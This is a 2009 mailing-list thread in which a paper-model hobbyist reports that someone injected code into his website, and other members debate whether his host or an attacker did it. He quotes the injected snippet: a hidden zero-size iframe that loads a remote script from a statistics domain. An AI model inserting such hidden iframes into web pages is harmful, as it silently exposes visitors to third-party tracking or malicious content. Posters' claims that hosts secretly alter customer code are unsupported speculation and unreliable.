If you are using shared hosting it IS possible that if a trojan like this can get into another account it can spread to other accounts on the same server. That would represent a security failure on your web host. Chris
On Mon, Aug 10, 2009 at 6:59 AM, ExtremeRyno<[email protected]> wrote: > > I used to have IX Web Hosting. I noticed on more than one occasion my > HTML was being changed. I, too, wrote mine in Notepad so I knew it > wasn't added by my software. All permissions were set, and my > password was a random string of 14 characters and numbers that I have > used some derivative of for the past 20 years..Then again, anything > can be hacked, but seriously..who would hack a website to insert > tracking/advertising code? Last I checked Walmart doesn't have a > hacking department. > > What I learned from that experience and another exactly like it at > another host is that the host DOES change your code. They may not > admit it if you call, but if you read their fine print they have > permission to do so. The pay sites don't go so far as the obnoxious > banners of Geocities, Yahoo, or Tripod, but they most certainly do > insert tracking and advertisements into your site. > > On Aug 9, 10:09 pm, jleslie48 <[email protected]> wrote: >> no applications. I use notepad to write my html. its the root >> directory that was tampered with. the code entered was ill formed, it >> was inserted after a <table> but before the first <tr>: >> >> <table align="center" border="4" bordercolor="blue" >> background="egiftshop_files/bckgrnd_blue.jpg" width="90%><iframe >> src="ht tp://me ga-statistic.net/1/in.cgi?2" width="0" height="0" >> frameborder="0"></iframe><!-- bgcolor="#91A4EB" outer table for >> frame--> >> <tr><!--outer table for frame 1st row--> >> <td><!--outer table for frame 1st row--> >> >> I don't think as a result it was "clickable" most likely a bot that >> blindly inserted code. I don't understand how it got permission. I >> doubt my password is compromised. >> >> On Aug 9, 10:18 pm, Chris Gutzmer <[email protected]> wrote: >> >> > Highly unlikely. Do you have any applications installed? Did you check >> > all the permissions on all your files and folders? Why would your host >> > choose to tamper with you? Kinda bad for business.... I understand >> > your anger though. I nearly had to wipe my site and that would not >> > have been fun to rebuild... >> > Chris >> >> > On Sun, Aug 9, 2009 at 7:51 PM, jleslie48<[email protected]> wrote: >> >> > > On Aug 9, 5:44 pm, cat <[email protected]> wrote: >> > >> jleslie48 wrote: >> > >> > it seems google does not like mega- statistic.net at all. >> >> > >> Of course not, it is a competitor to their Google Analytics. >> >> > >> cat >> >> > > I have an inquiry with my hosting service as two when the files were >> > > updated, and questioned if they are somehow responsible. Seems to me >> > > a hosting service would be a likely place for some nasty nasty to try >> > > and buy the right to add code to web-pages. Meantime I'm very >> > > pissed. I don't like my html tampered with. I have changed all my >> > > passwords, disabled all logins, but I have a feeling, that this came >> > > from the inside. > > > > --~--~---------~--~----~------------~-------~--~----~ You received this message because you are subscribed to the Google Groups "Papermodels II" group. To post to this group, send email to [email protected] To unsubscribe from this group, send email to [email protected] For more options, visit this group at http://groups.google.com/group/Papermodels?hl=en -~----------~----~----~----~------~----~------~--~---
